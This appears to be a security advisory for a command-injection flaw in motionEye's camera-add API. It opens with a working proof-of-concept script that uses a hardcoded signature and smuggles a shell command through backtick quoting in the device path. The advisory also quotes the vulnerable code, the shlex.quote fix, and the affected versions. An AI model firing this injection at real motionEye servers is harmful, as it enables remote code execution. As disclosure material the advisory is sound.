Now, run the following script to attack motionEye:
import requests
import json
url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"
payload = json.dumps({
"proto": "v4l2",
"path": "' `touch /tmp/bbbb` '"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)
It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability
def list_resolutions(device):
from motioneye import motionctl
device = utils.make_str(device)
if device in _resolutions_cache:
return _resolutions_cache[device]
logging.debug(f'listing resolutions of device {device}...')
resolutions = set()
output = b''
started = time.time()
cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
logging.debug(f'running command "{cmd}"')
try:
output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
except:
logging.error(f'failed to list resolutions of device "{device}"')
output = utils.make_str(output)
def call_subprocess(
args,
stdin=None,
input=None,
stdout=subprocess.PIPE,
stderr=DEV_NULL,
capture_output=False,
shell=False,
cwd=None,
timeout=None,
check=True,
encoding='utf-8',
errors=None,
text=None,
env=None,
) -> str:
"""subprocess.run wrapper to return output as a decoded string"""
return subprocess.run(
args,
stdin=stdin,
input=input,
stdout=stdout,
stderr=stderr,
capture_output=capture_output,
shell=shell,
cwd=cwd,
timeout=timeout,
check=check,
encoding=encoding,
errors=errors,
text=text,
env=env,
).stdout.strip()
RCE
The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143
Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch
https://github.com/motioneye-project/motioneye/issues/3142
The vulnerability was discovered by Tencent YunDing Security Lab.
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| motioneye | pip | >= 0.43.1b1, < 0.43.1b4 | 0.43.1b4 |
The vulnerability description and the provided patch clearly indicate that the list_resolutions function in motioneye.controls.v4l2ctl was vulnerable to command injection. The device parameter, derived from user input via the add_camera API, was used directly in a shell command string. The patch applies shlex.quote to sanitize this input. The call stack shows that list_resolutions calls utils.call_subprocess, which in turn uses subprocess.run with shell=True to execute the command. Therefore, list_resolutions is the function where the vulnerable command is constructed, and utils.call_subprocess is the function that executes it in a way that allows the injection.
KEV Misses 88% of Exploited CVEs- Get the report